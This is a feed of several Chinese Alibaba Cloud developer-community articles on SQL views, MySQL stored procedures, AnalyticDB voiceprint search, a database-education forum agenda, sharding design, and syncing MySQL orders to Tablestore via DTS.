image.png

如何创建,更新和删除视图

创建视图:CREATE VIEW

CREATE VIEW player_above_avg_height AS
SELECT player_id, height
FROM player
WHERE height > (SELECT AVG(height) from player)

当视图创建之后,它就相当于一个虚拟表,可以直接使用:

SELECT * FROM player_above_avg_height

嵌套视图

CREATE VIEW player_above_above_avg_height AS
SELECT player_id, height
FROM player
WHERE height > (SELECT AVG(height) from player_above_avg_height)

修改视图:ALTER VIEW

ALTER VIEW view_name AS
SELECT column1, column2
FROM table
WHERE condition

删除视图:DROP VIEW

DROP VIEW view_name

需要说明的是,SQLite 不支持视图的修改,仅支持只读视图,也就是说你只能使用 CREATE VIEW 和 DROP VIEW,如果想要修改视图,就需要先 DROP 然后再 CREATE。

如何使用视图简化 SQL 操作

利用视图完成复杂的连接

CREATE VIEW player_height_grades AS
SELECT p.player_name, p.height, h.height_level
FROM player as p JOIN height_grades as h
ON height BETWEEN h.height_lowest AND h.height_highest

利用视图对数据进行格式化

CREATE VIEW player_team AS 
SELECT CONCAT(player_name, '(' , team.team_name , ')') AS player_team FROM player JOIN team WHERE player.team_id = team.team_id

使用视图与计算字段

CREATE VIEW game_player_score AS
SELECT game_id, player_id, (shoot_hits-shoot_3_hits)*2 AS shoot_2_points, shoot_3_hits*3 AS shoot_3_points, shoot_p_hits AS shoot_p_points, score  FROM player_score

总结

使用视图有很多好处,比如安全、简单清晰。
image.png

码农架构-公众号2.jpg

]]>
什么是存储过程,在实际项目中用得多么?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 存储过程是程序化的 SQL,可以直接操作底层数据表,相比于面向集合的操作方式,能够实现一些更复杂的数据处理。存储过程可以说是由 SQL 语句和流控制语句构成的语句集合,它和我们之前学到的函数一样,可以接收输入参数,也可以返回输出参数给调用者,返回计算结果。

存储过程像是函数.

什么是存储过程,如何创建一个存储过程

定义一个存储过程:

CREATE PROCEDURE 存储过程名称([参数列表])
BEGIN
    需要执行的语句
END    

删除已经创建的存储过程:

DROP PROCEDURE

更新存储过程:

ALTER PROCEDURE

实现一个简单的存储过程:

CREATE PROCEDURE `add_num`(IN n INT)
BEGIN
       DECLARE i INT;
       DECLARE sum INT;
       
       SET i = 1;
       SET sum = 0;
       WHILE i <= n DO
              SET sum = sum + i;
              SET i = i +1;
       END WHILE;
       SELECT sum; -- 在调用的时候会打印这个值
END

mysql> call study_stored_procedure(50);
+------+
| sum  |
+------+
| 1275 |
+------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

使用这个存储过程:

CALL add_num(50);

DELIMITER

如果你使用 Navicat 这个工具来管理 MySQL 执行存储过程,那么直接执行上面这段代码就可以了。如果用的是 MySQL,你还需要用 DELIMITER 来临时定义新的结束符。因为默认情况下 SQL 采用(;)作为结束符,这样当存储过程中的每一句 SQL 结束之后,采用(;)作为结束符,就相当于告诉 SQL 可以执行这一句了。但是存储过程是一个整体,我们不希望 SQL 逐条执行,而是采用存储过程整段执行的方式,因此我们就需要临时定义新的 DELIMITER,新的结束符可以用(//)或者($$)。如果你用的是 MySQL,那么上面这段代码,应该写成下面这样:

DELIMITER //
CREATE PROCEDURE `add_num`(IN n INT)
BEGIN
       DECLARE i INT;
       DECLARE sum INT;
       
       SET i = 1;
       SET sum = 0;
       WHILE i <= n DO
              SET sum = sum + i;
              SET i = i +1;
       END WHILE;
       SELECT sum;
END //
DELIMITER ;

存储过程的 3 种参数类型

image.png
IN 参数必须在调用存储过程时指定,而在存储过程中修改该参数的值不能被返回。而 OUT 参数和 INOUT 参数可以在存储过程中被改变,并可返回。

CREATE PROCEDURE `get_hero_scores`(
       OUT max_max_hp FLOAT,
       OUT min_max_mp FLOAT,
       OUT avg_max_attack FLOAT,  
       s VARCHAR(255)
       )
BEGIN
       SELECT MAX(hp_max), MIN(mp_max), AVG(attack_max) FROM heros WHERE role_main = s INTO max_max_hp, min_max_mp, avg_max_attack;
END

调用:

  • 调用的时候需要在变量前面加 @ , 否则报错
CALL get_hero_scores(@max_max_hp, @min_max_mp, @avg_max_attack, '战士');
SELECT @max_max_hp, @min_max_mp, @avg_max_attack;

流控制语句

  1. BEGIN…END:BEGIN…END 中间包含了多个语句,每个语句都以(;)号为结束符。
  2. DECLARE:DECLARE 用来声明变量,使用的位置在于 BEGIN…END 语句中间,而且需要在其他语句使用之前进行变量的声明。
  3. SET:赋值语句,用于对变量进行赋值。
  4. SELECT…INTO:把从数据表中查询的结果存放到变量中,也就是为变量赋值。
  5. IF…THEN…ENDIF:条件判断语句,我们还可以在 IF…THEN…ENDIF 中使用 ELSE 和 ELSEIF 来进行条件判断。
  6. CASE:CASE 语句用于多条件的分支判断,使用的语法是下面这样的。
  7. LOOP、LEAVE 和 ITERATE:LOOP 是循环语句,使用 LEAVE 可以跳出循环,使用 ITERATE 则可以进入下一次循环。如果你有面向过程的编程语言的使用经验,你可以把 LEAVE 理解为 BREAK,把 ITERATE 理解为 CONTINUE。
  8. REPEAT…UNTIL…END REPEAT:这是一个循环语句,首先会执行一次循环,然后在 UNTIL 中进行表达式的判断,如果满足条件就退出,即 END REPEAT;如果条件不满足,则会就继续执行循环,直到满足退出条件为止。
  9. WHILE…DO…END WHILE:这也是循环语句,和 REPEAT 循环不同的是,这个语句需要先进行条件判断,如果满足条件就进行循环,如果不满足条件就退出循环。
CASE 
  WHEN expression1 THEN ...
  WHEN expression2 THEN ...
  ...
    ELSE 
    --ELSE语句可以加,也可以不加。加的话代表的所有条件都不满足时采用的方式。
END

关于存储过程使用的争议

存储过程有很多好处:
• 存储过程可以一次编译多次使用
• 存储过程的安全性强
• 可以减少网络传输量
缺点也是很明显的:
• 可移植性差
• 调试困难
• 版本管理也很困难
• 不适合高并发的场景

码农架构-公众号2.jpg

]]>
AnalyticDB向量检索+AI 实战: 声纹识别-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、背景

近年来,随着人工智能对传统行业的赋能改造,越来越多的基于人工智能的业务解决方案被提出来,声纹识别在保险行业中的身份认证便是一个很好的例子. 声纹识别是根据说话人发音的生理和行为特征,自动识别说话人身份的一种生物识别技术,对应在电话销售场景下,它主要解决以下安全问题:一方面,有不法分子窃取电话销售人员账号信息,非法获取客户个人信息资料并进行贩卖、泄露,严重侵犯了公民个人的信息隐私权,另一方面,部分行业从业人员利用一些规则漏洞,通过套保、骗保等非法手段实施金融诈骗. 针对这些安全问题,可以通过实时声纹认证加以解决,以电话销售人员为监管核心,利用每个人独一无二的声纹进行严密的个人身份认证,保证电话销售人员对接客户时是本人注册登录,规范电销人员行为,从源头上有效规避信息泄露、漏洞利用等风险。

二、声纹识别原理

640.png

上图是端对端的深度学习训练和推理过程。对比传统声纹识别模型,我们的模型在实际使用中优势明显,在用户远程身份验证场景,通过注册用户说一段话,即可轻松快速的确认注册用户身份,识别准确率达到95%以上,秒级响应,实时声纹核身。下面简要介绍我们模型的特点。

2.0 度量学习

实验发现,在声纹识别中采用softmax进行网络训练 ,用余弦相似度的测试性能往往不如传统声纹识别模型,尤其是在鲁棒性上。分析发现[6]基于softmax的分类训练,为了得到更小的loss,优化器会增大一些easy samples的L2 length,减小hard examples 的L2 length,导致这些样本并没有充分学习,特征呈现放射状,以MNIST识别任务为例,基于softmax学到的特征分布如图3(a)所示. 同类别特征分布并不聚拢,在L2 长度上拉长,呈放射状,且每个类别的间距并不大,在verification的任务中,会导致相邻的两个类别得分很高。

为了达到类内聚拢,类间分散的效果,我们研究了在图像领域中应用较为成功的几种softmax变种,包括AM-softmax[4],arcsoftmax[5]等,从图3(b)可以看到,基于margin的softmax,相比纯softmax,类间的分散程度更大,且类内特征更聚拢,对声纹1:1比对和1:N搜索的任务友好。
2.png

2.1 噪音鲁棒性

在特征提取时,对于简单加性噪音,我们提出了基于功率谱减法,实现噪音抑制;对于其他复杂噪音,我们提出了基于降噪自动编码器的噪音补偿模型,将带噪语音特征映射到干净语音特征,实现噪音消除。

在模型训练时,我们采用数据增强的训练机制,将噪音数据通过随机高斯的形式加入到声纹模型的训练中,使得训练后的模型对噪音数据具有更好的鲁棒性。

2.2 短音频鲁棒性

为了提高短音频鲁棒性,我们提出了基于短时帧级别的模型训练机制,使模型能够在极短的语音时长(约0.5秒)下即可完成声纹识别. 在此基础上,我们在模型训练中引入了更多高阶的音频统计信息和正则化方法,进一步提升了模型在短语音条件下(2~3秒)的识别精度。

三、如何使用AnalyticDB搭建声纹对比系统

3.0 创建插件

使用一下SQL来分别创建AnalyticDB的非结构化分析插件OpenAnalytic和向量检索插件fastann。
20201019144723.jpg

3.1 建表

我们可以建立一个表来保存所有说话人的声音和声音的特征,后续我们可以从这个表中搜索说话人。
3.jpg

3.2 创建索引

我们可以为特征向量列创建向量检索索引。
3.2.jpg

3.3 创建声纹识别算法pipeline

通过以下sql,我们可以在数据库中创建声纹特征提取的算法模型。
3.3.jpg

3.4 获取说话人声纹特征

通过以下sql可以使用3.3创建的pipeline。这个UDF的输入是pipeline名称和目标文本。输出是一个说话人声音的特征向量。
`# 通过声音文件识别
SELECT open_analytic.pipeline_run_dist_random('speaker_feature_extractor',

                    <声音文件>);`

3.5 说话人声纹特征导入AnalyticDB

获取声音特征后, 我们可以使用一下sql来讲数据插入3.1创建的表中。
5.jpg

3.6 在数据库中搜索最相似的的人

通过以下sql,我们可以在声音特征库中搜索最相似的说话人。然后我们可以根据特征间距离是否满足预设的阈值来判断是否是同一个人。
6.jpg

3.7 比较两个声音是否为同一个人

我们还可以提取出两个人的声音特征然后直接计算二者的距离来判断这两个声音是否来自同一个说话人。SQL如下
7.jpg

四、AnalyticDB介绍

分析型数据库(AnalyticDB)是阿里云上的一种高并发低延时的PB级实时数据仓库,可以毫秒级针对万亿级数据进行即时的多维分析透视和业务探索。AnalyticDB for MySQL 全面兼容MySQL协议以及SQL:2003 语法标准, AnalyticDB forPostgreSQL 支持标准 SQL:2003,高度兼容 Oracle 语法生态。

向量检索和非结构化数据分析是AnalyticDB的进阶功能。目前两款产品都包含向量检索功能, 可以支持人脸, 人体, 车辆等的相似查询和推荐系统。AnalyticDB在真实应用场景中可以支持10亿级别的向量数据的查询, 毫秒级别的响应时间。AnalyticDB已经在多个城市的重大项目中大规模部署。

在一般的包含向量检索的的应用系统中, 通常开发者会使用向量检索引擎(例如Faiss)来存储向量数据, 然后使用关系型数据库存储结构化数据。在查询时也需要交替查询两个系统, 这种方案会有额外的开发工作并且性能也不是最优。AnalyticDB支持结构化数据和非结构化数据(向量)的检索,仅仅使用SQL接口就可以快速的搭建起以图搜图或者图片+结构化数据混合检索等功能。AnalyticDB的优化器在混合检索场景中会根据数据的分布和查询的条件选择最优的执行计划,在保证召回的同时,得到最优的性能。AnalyticDB向量版采用了多项创新性技术, 这些技术在我们的论文 AnalyticDB-V: A Hybrid Analytical Engine Towards Query Fusion for Structured and Unstructured Data 中有详细介绍介绍。目前论文已经被数据库三大顶会之一的VLDB接受, 具有技术领先性。

结构化信息+非结构化信息(图片)混合检索在实际应用中被广泛使用的。例如人脸门禁系统被部署在多个小区时, 我们使用一张表存储了所有小区的人脸特征, 在人脸检索时我们只需要检索当前小区的人脸特征。在这种情况下, 使用AnalyticDB我们只需要在SQL中增加where 小区名 ='xxx' 就可以轻易实现。AnalyticDB同时提供了先进的图像文本分析算法, 能够提取非结构化数据的特征和标签, 用户仅仅需要使用SQL就可以完成图像文本内容的分析。

五、参考文献

[1] Heigold G, Moreno I, Bengio S, et al. End-to-end text-dependent speaker verification[C]//2016 IEEE International Conference on Acoustics, Speech and Signal Processing (ICASSP). IEEE, 2016: 5115-5119.
[2]Li C, Ma X, Jiang B, et al. Deep speaker: an end-to-end neural speaker embedding system[J]. arXiv preprint arXiv:1705.02304, 2017.
[3] Snyder D, Garcia-Romero D, Sell G, et al. X-vectors: Robust den embeddings for speaker recognition[C]//2018 IEEE International Conference on Acoustics, Speech and Signal Processing (ICASSP). IEEE, 2018: 5329-5333.
[4] Wang F, Cheng J, Liu W, et al. Additive margin softmax for face verification[J]. IEEE Signal Processing Letters, 2018, 25(7): 926-930.
[5] Dang J, Guo J, Xue N, et al. Arc face: Additive angular margin loss for deep face recognition[C]//Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2019: 4690-4699.
[6] Ranjan R, Castillo C D, Chellappa R. L2-constrained softmax loss for discriminative face verification[J]. arXiv preprint arXiv:1703.09507, 2017.

六、结语

本文介绍了如何使用AnalyticDB来搭建声纹比对系统。AnalyticDB还支持其他多种多样人工智能算法如目标检测, 商品识别, 基因识别等等。想了解更多请用钉钉扫码加入AnalyticDB向量版交流群。

]]>
CNCC 数据库校企合作论坛丨如何构建数据库产业人才培养的生态圈?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1978年,中国人民大学经济信息管理系首任系主任萨师煊第一次将“数据库”这三个字写在人大教室的黑板上,从那一刻起“数据库”技术真正开始在中国的土壤上扎根发芽。

到如今2020年,中国数据库的发展已经历时四十多年,国产数据库在这片土壤上开始逐渐繁茂,从最初的盲目模仿到如今越来越多的数据库企业走向自主研发,国产数据库正在以一种前所未有的速度和力量成长。

计算技术领域的年度盛会 CNCC 将于 10 月 22-24 日在北京盛大召开,届时10月23日下午,“数据库领域校企合作探索”论坛将在北京新世纪日航饭店(主会场)举办,本次论坛邀请了四位行业资深技术专家及学界泰斗带来精彩演讲,从国产数据库在产业实践的经验体会分享,到全新的产教研融合创新模式的探讨,再到数据库行业人才生态战略的深入探索。

本论坛将为大家邀请业界及学界共同探讨如何通过产研合作,充分发挥企业业务场景和高校研究能力的优势,突破核心技术、人才培养等难题,实现中国数据库产业自主创新。

论坛议程

16:00-16:40 杨传辉 蚂蚁集团
蚂蚁集团数据库产业实践

16:40-17:10 钱卫宁 华东师范大学
应用驱动与产教研联动的数据库研发和人才培养实践

17:10-17:40 彭智勇 武汉大学
国产数据库研制人才培养实践

17:40-18:00 梁刘红 蚂蚁集团
构建 OceanBase 全连接的学术合作与人才培养的生态圈

议题简介

嘉宾一:杨传辉(花名:日照)

FD579B4E-1742-4548-9B5D-051DBF678B87.png

嘉宾介绍:蚂蚁集团资深总监、OceanBase 研发总经理,全面负责 OceanBase 研发工作。作为 OceanBase 创始成员和首席架构师,主导了 OceanBase 技术架构设计,实现分布式数据库在核心金融场景零的突破,完成蚂蚁集团核心数据库100%上 OceanBase ,主导 OceanBase TPC-C 测试并打破世界纪录。曾在百度负责云存储与云计算系统研究工作,著有专著《大规模分布式存储系统:原理与实践》。

演讲议题:蚂蚁集团数据库产业实践

议题介绍:蚂蚁集团为何选择自研数据库,自研数据库从0到1的发展历程、技术方案以及后续规划,并分享国产数据库从学术研究到产业实践的经验体会。

嘉宾二:钱卫宁

232.jpg

嘉宾介绍:华东师范大学教授、博士生导师,数据科学与工程学院院长。在复旦大学获得计算机科学与技术学士、硕士与博士学位。上海市优秀学术带头人,入选教育部新世纪人才计划和上海市青年科技启明星计划。作为项目负责人主持包括国家“核高基”重大专项课题、国家重点研发计划课题、国家自然科学基金项目重点项目和面上项目在内的多项科研项目。

目前担任中国计算机学会数据库专委会常务委员,教育部人工智能科技创新专家工作组成员。曾获国家科技进步二等奖奖1次(第二完成人)、上海市科技进步一等奖1次(第一完成人),以及教育部科技进步一等奖、二等奖、教育部自然科学二等奖各1次。研究兴趣包括可扩展事务处理,大数据管理系统基准评测,海量数据分析处理及其应用,以及计算教育学。

演讲议题:应用驱动与产教研联动的数据库研发和人才培养实践

议题介绍:数据库系统是支撑关键核心业务(mission-critical applications)的基础软件。在诸多领域数字化转型的背景下,数据库系统面临着海量数据和互联网级负载的双重压力。自主研发数据库系统,助力行业转型,实现替代工程,无论是对于这些行业领域,还是对于我国的信息技术产业,都具有极为重要的意义。

数据库系统研发的基础知识面广、研究-工程-应用链条长,涉及大规模分布式系统和新硬件利用与优化等前沿技术,需要创新性研究思路,需要核心技术攻坚,还需要大规模工程实现验证,是典型的工程研究问题。报告将介绍我们在应用驱动和校企联动的分布式数据库系统研究和人才培养方面的探索和初步成果,并讨论新的产教研融合创新模式。

嘉宾三:彭智勇

233.jpg


嘉宾介绍:武汉大学教授、博士生导师、大数据研究院副院长,国务院软件工程学科评议组成员,中国计算机学会会士、数据库专业委员会副主任、大数据专家委员会成员。1985年获武汉大学理学学士,1988年获国防科技大学工学硕士,1995年获日本京都大学工学博士。1995-1997年在日本京都高度技术研究所工作,研究员。1997-2000年在美国惠普公司的研究所工作,研究员。提出了一个新的数据库模型:对象代理模型,发表在数据库国际顶级会议 IEEE ICDE 和权威期刊 IEEE TKDE上,得到了学术界认可;分析了开源数据库 PostgreSQL 源代码,出版了《PostgreSQL 数据库内核分析》专著,受到了产业界欢迎;研制了对象代理数据库管理系统 TOTEM,形成了自主知识产权,获教育部科技进步二等奖;目前主要从事对象代理数据库、大数据管理系统、制造业大数据、科技大数据、教育大数据、可信云数据和地理数据水印等方面的研究。

演讲议题:国产数据库研制人才培养实践

议题介绍:研制国产数据库需要大量掌握数据库内核实现技术人才。目前国内各大高校数据库教学过于偏重原理性知识传授以及特定数据库系统的应用技能培养,而忽视了对于数据库管理系统内核实现机制的教学。我们构建了“基础知识-应用技术-科研创新”的分层次数据库教学体系,引进美国斯坦福“数据库系统实现”课程,自编“数据库内核分析”课程教材,引导学生分析数据库管理系统 PostgreSQL 源代码,指导学生参与国产数据库核心技术开发,为华为、阿里、腾讯、百度等企业培养了很多国产数据库研制人才。

嘉宾四:梁刘红

234.jpg

嘉宾介绍:现任蚂蚁集团 OceanBase 合作伙伴和生态合作部总经理。复旦大学计算机系硕士研究生毕业,加入 OceanBase 前,先后供职于微软、IBM,本土云计算创业公司青云 QingCloud,拥有15+年云计算领域及企业软件行业的丰富经验,擅长战略规划,生态合作、商业运营等。

演讲议题:构建 OceanBase 全连接的学术合作与人才培养的生态圈

议题介绍:蚂蚁集团 OceanBase 期望构建全联接的学术和人才生态,助力学术界产研实践和人才培养,与各大高校共同培养兼具理论与实践能力的创新型复合人才。本次报告将发布全连接的学术和人才生态战略。

其中,OceanBase 的研发总经理杨传辉及生态合作部总经理梁刘红也将分别从数据库技术产业发展、数据库产业人才培养等维度为大家带来 OceanBase 的经验分享。

据悉,今年9月,OceanBase 已经与华东师范大学签署战略合作,共建“华东师范大学-北京奥星贝斯分布式数据库联合实验室”,未来 OceanBase 还将连接更多的高校联合培养优秀的科技人才。

OceanBase 坚定地相信分布式数据库就是未来的主流。OceanBase 愿意也期待积极地通过自身实践来加速新的数据库生态的建立,以帮助更多的开发者 / DBA 更好地成长,为社会输出更多的分布式数据库人才。

]]>
分库分表背后那些事儿-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800
  • 概述

    目前行业内OLTP类的数据库单库单表支撑不了几十亿数据的在线处理,包括一些NoSQL数据库,因此对于数据量较大的场景需要进行数据库拆分,如mysql单表建议数据量再500w以内,一些强大的NoSQL单表可以支撑几亿的数据量,但是对于几十亿的数据量一样无法直接支撑,因此我们要做分库分表
    
  • 分库分表类型
    •垂直拆分:充分利用数据库的缓存,提升访问性能。
  •     垂直切分是将一个表的不同属性切分到不同的表中,可以将访问频率高的、长度短的、或者经常一起访问的放在一个表里,
    

    其它的放在另一个表里,从而提升数据库本身缓存的命中率来提升性能,但是单表大数据量依然存在性能瓶颈问题。
    •水平拆分:借用分布式的优势,使用多个数据库的能力来提升存储容量和性能。

    将数据均匀的分布在多个数据库多个表中

    1. 拆分键的选择

    拆分键是水平分库分表的关键,怎么选择拆分键是能否做好分库分表的关键

    1)找到业务主体,确保核心的数据库操作都是围绕这个主体数据进行,然后使用该主体对应的字段作为拆分键

    1)选择拆分键的核心是要保证数据量均匀和请求量均匀

    2)要考虑热点查询语句,尽量保证其不会进行跨库查询

    3)要兼顾关联表,尽可能保证关联表的分库分表规则和主表一致

    1. 非拆分键的加速查询

    1)多维度表法:如订单表,本身按照订单进行拆分,按照实际场景又分别按照买家和卖家生成订单表

    2)缓存映射法:缓存中记录查询条件->拆分键的映射关系,如fpdm+fphm -> fpid

    3)基因融入法: 将查询条件融入到拆分键生成中,如假设分8个库,采用id%8路由,潜台词是,id的后3个bit决定这条数据落在哪个库上,这3个bit就是所谓的基因。

    name -> 基因生成函数 -> name_gene -> 3bit

    id(64 bit) = 生成全局唯一id(61 bit)+ 3bit

    4)数据冗余法:使用外置索引(搜索引擎)或者大数据处理(如hive、hbase)来冗余数据进行解决

    1. 分库分表的查询过程

    分库分表的查询一般使用DRDS、MyCat等中间件来实现,但是用哪款中间件不重要,重要的是我们要了解其核心原理,原理是基础,其他都是表现形式,有了内功之后做什么都无往不利,如令狐冲独孤九剑+吸星大法+易筋经

    1)分片规则:自定义分片策略,主要是根据拆分键值计算出将该条数据放在哪个库哪个表里

    2)JDBC规范重写:针对DataSource、Connection、Statement、PreparedStatement和ResultSet接口封装,对外提供的是逻辑实例,在内部封装多个真实物理实例实现类集合

    3)sql解析:解决sql语法,可以直接使用druid的SQLParser

    4)sql改写:修改逻辑表名->真实表名;替换不支持的功能,如:avg->sum和count;有可能一条sql语句变成多条,如avg查询会变成 2 * 分表数 的sql语句

    5)sql路由:单表路由(不一定落在单表上,如in、between查询)、binding表路由(路由规则一致,如fpzxx和fpmx)、笛卡尔积路由(两个关联表路由不一致,性能很低,占用连接数很高,一般不使用)

    6)sql执行:多线程并发执行sql

    7)结果归并:遍历类、排序类(归并排序)、聚合类(比较型、累加型、平均型)、分组类

    ]]>
    基于DTS+Tablestore的海量订单系统架构设计-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 订单系统概述

    订单场景是人们高频接触的一类场景,无论是线下商场购物、吃喝玩乐消费,还是线上淘宝、会员充值、外卖预定。只要涉及人就会有交易,只要有交易就会产生订单。毫不夸张的讲,所有的应用都会涉及到支付与订单的管理,因此,完善的订单管理架构是每一个架构师或开发人员都要直面的挑战。

    对于订单系统,保证事务与强一致是前提,架构师们通常都会选择MySQL等TP型数据库。但是遇到大规模数据场景下也不得不面临一定的问题。首先,需要通过分库分表等方式提供一个分布式能力提升数据库数据存储、吞吐量,其次数据量大对于查询与聚合等需求难以支持,严重会影响表服务能力与性能。但是在大规模数据下,订单的多维检索、订单分析、以及周期性报表等需求,也是不能够舍弃的。因此需要一个历史订单库,将订单数据派生到其他存储引擎,从而拓展数据的查询、分析、聚合等能力。

    这时,用户会考虑数据双写、数据同步等方式将数据派生一份到搜索引擎或其他NoSQL分布式数据存储,来扩展MySQL性能成本非常高的使用场景。多写的方案一般很少,这对写入一致性项目运维成本与写入性能会有很大的挑战。当前,更被大众所接受的是基于TP数据库的binlog订阅做数据同步,虽然数据同步上会有延时(通常秒级别甚至更低),但是在运维成本、能力扩展、数据一致性上表现优异。

    DTS+Tablestore方案

    本文主要介绍一套基于DTS与Tablestore实现一套完善的订单系统架构。实时订单数据主要针对用户侧的实时生产与修改,实例订单数据则是基于数据同步服务DTS,全、增量订阅TP库中的订单数据,从而保证Tablestore中数据与TP库数据的最终一致性。异步同步的方式不可避免的存在延时,但历史订单库在实时性上要求会适当放宽,但其派生出来的数据在服务能力与功能扩展上得到了极大的提升,尤其是Tablestore这种分布式服务能力强、下游计算生态丰富的NoSQL存储服务。

    系统架构设计

    系统架构如下图,架构基于订单数据的使用功能与实时性分两部分:实时在线订单数据与历史订单数据。

    • • 在线订单数据:存储在TP型数据库,如MySQL、PolarDB等,用于保证订单的强事务能力;
    • • 历史订单数据:存储在Tablestore,分布式存储,支持多维检索与聚合能力,拥有完善的大数据生态;
    • • 同步链路:DTS(数据传输服务),支持全量数据迁移与实时数据同步,实时同步延时秒级别;
      image.png

    Tablestore的能力与生态

    Tablestore的服务性能、分析查询能力以及下游生态,值得着重强调,丰富的能力扩展正是数据派生的核心价值。这里主要展示多元索引、大数据生态两个亮点,更多Tablestore场景与功能,请参考《表格存储Tablestore权威指南》

    • • 多元索引:
      基于倒排索引和列式存储,可以解决大数据的复杂查询难题,包括非主键列查询、全文检索、前缀查询、模糊查询、多字段自由组合查询、嵌套查询、地理位置查询等功能。适用于元数据管理、历史订单维护、地理围栏等场景。

    深入了解多元索引:多元索引官网文档、《TableStore发布多元索引功能,打造统一的在线数据平台》

    • • 大数据架构
      Tablestore 作为一款高性能低成本的存储引擎,海量的数据存储伴随的就是大数据生态对接,并已经形成了一套稳定、高性能的大数据架构,产品在核心功能的升级迭代的过程中,也不断的加强计算引擎对接,目前已经对接了阿里云几个核心计算引擎,包含:MaxCompute、EMR Spark、Blink、DLA 、FC,更总结出一套流批一体处理框架(Lambda plus)。

    深入了解数据中台、大数据体系:《数据中台之结构化大数据存储设计》、《基于 Tablestore 的大数据分析 Lambda 架构 - 云原生、弹性、流批一体》
    架构搭建实战

    准备工作

    1、服务准备

    • • 开通RDS服务:并购买MySQL实例,此处不做详细介绍,可参考《文档》;
    • • 开通Tablestore服务:创建实例(免费),不做详细介绍,可参考《文档》;
    • • 开通DTS服务:并购买MySQL同步Tablestore实例
      目前仅上线MySQL、PolarDB到Tablestore,其中PolarDb需要主动开启binlog开关才能支持增量同步。Tablestore暂时开发上海、北京、深圳,本例使用上海实例。

    image.png

    2、资源准备

    创建子账号AccessKey

    并对子账号实例级别授权,权限为操作Tablestore资源权限,让DTS有权限操作用户该实例资源(注意region跟实例名)

    • • 创建子账号
      image.png
    • • Tablestore实例授权
    {
        "Version": "1",
        "Statement": [
            {
                "Action": "ots:*",
                "Resource": "acs:ots:[myInstanceRegion]:*:instance/[myInstanceName]/*",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "ots:ListInstance",
                    "ots:GetInstance"
                ],
                "Resource": "*",
                "Effect": "Allow"
            }
        ]
    }

    建表语句

    /******************************************/
    /*   DatabaseName = dts_demo   */
    /*   TableName = order_contract   */
    /******************************************/
    CREATE TABLE `order_contract` (
      `oId` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '订单id',
      `createTime` datetime NOT NULL COMMENT '下单时间',
      `payTime` datetime DEFAULT NULL COMMENT '支付时间',
      `hasPaid` tinyint(1) NOT NULL COMMENT '是否支付',
      `cId` varchar(20) NOT NULL COMMENT '消费者id',
      `cName` varchar(20) NOT NULL COMMENT '消费者姓名',
      `pBrand` tinytext NOT NULL COMMENT '产品品牌',
      `pCount` mediumint(10) NOT NULL COMMENT '产品数量',
      `pId` varchar(20) NOT NULL COMMENT '产品id',
      `pName` varchar(20) NOT NULL COMMENT '产品名',
      `pPrice` decimal(10,2) NOT NULL COMMENT '产品价格',
      `sId` varchar(20) NOT NULL COMMENT '售货员id',
      `sName` varchar(20) NOT NULL COMMENT '售货员姓名',
      `totalPrice` decimal(10,2) NOT NULL COMMENT '总价格',
      PRIMARY KEY (`oId`)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='在线订单表';

    用户下单

    直接通过sql写入,模拟用户下单与应用订单数据写入

    INSERT INTO order_contract (oId, payTime, createTime, hasPaid, cId, cName, pBrand, pCount, pId, pName, pPrice, sId, sName, totalPrice)
    VALUES 
    ("00000001", null, "2020-08-05 11:11:11", false, "c00001", "消费者1", "iphone", 1, "p00001", "iphone 7 plus",  9999.80, "s00001", "售货员1", 9999.80),
    ("00000002", null, "2020-08-05 12:11:11", false, "c00001", "消费者1", "iphone", 1, "p00002", "iphone 8 plus",  10999.80, "s00001", "售货员1", 10999.80),
    ("00000003", null, "2020-08-05 13:11:11", false, "c00002", "消费者2", "小米", 2, "p00010", "小米 7 plus",  999.81, "s00001", "售货员1", 1999.62);

    同步配置

    • • 配置DTS实例
      image.png
    • • 配置目标、源配置
      image.png
    • • 配置同步表、字段与类型转换
      image.png

    字段类型映射不建议全部选用默认,根据需求做定制,其中Boolean在MySQL中表现为tinyint(1),需要主动设置成Boolean,时间默认使用String如需转换为时间戳,目标类型主动配置成Integer类型。
    image.png

    启动任务

    启动并进入预检

    image.png
    image.png

    预检完成会自动进入结构迁移(初始化建表)、全量迁移、增量同步阶段。然后用户可以基于DTS控制台查看结构迁移与同步状态。

    目标检查

    结构迁移

    结构迁移完成,Tablestore实例下表初始化成功,主键符合预期
    image.png

    存量数据

    进入存量阶段,开始同步MySQL库已有数据,同步成功后目标库数据可见。
    image.png

    增量校验

    使用样例中的SQL模拟下单、更新订单、删除订单等操作,观察Tablestore实例中表的数据变化

    下单

    INSERT INTO order_contract (oId, payTime, createTime, hasPaid, cId, cName, pBrand, pCount, pId, pName, pPrice, sId, sName, totalPrice)
    VALUES ("00000004", null, "2020-08-05 11:11:11", false, "c00003", "消费者3", "iphone", 1, "p00001", "iphone 7 plus",  9999.80, "s00001", "售货员1", 9999.80);

    支付修改订单状态

    update order_contract set payTime = "2020-08-05 21:11:11", hasPaid = true WHERE oId = "00000004";

    删除数据

    DELETE FROM order_contract WHERE oId = "00000004";

    扩展能力

    多元索引聚合查询

    多元索引对于历史订单的管理,我们曾给出过最佳实践,用户可以参考《基于Tablestore打造亿量级订单管理解决方案》与控制台样例了解功能使用的详细方案。您只需在Tablestore相应的表中直接创建多元索引,便可完成历史订单数据的多条件组合查询、模糊查询、地理位置查询、存在性查询、简单的统计聚合与分析等。通过对产品名做分词,支持模糊查询能力,实例中查询"iphone"关键字,会从全量订单数据中检索出相应的2行数据。
    image.png

    多元索引的订单实战样例,可以参考文章《基于Tablestore打造亿量级订单管理解决方案》,并提供了直观感受的demo样例,如下图。用户可以参考借鉴。

    image.png

    除了多维组合查询,多元索引还是统计、聚合的能力,该能力没有在控制台上暴露,需要通过sdk使用,这里暂不距离,具体使用,可以参考《文档:多元索引的统计聚合》。
    使用统计聚合功能可以实现求最小值、求最大值、求和、求平均值、统计行数、去重统计行数、按字段值分组、按范围分组、按地理位置分组、按过滤条件分组、嵌套查询等;同时多个统计聚合功能可以组合使用,满足复杂的查询需求。

    流批一体的电商大屏

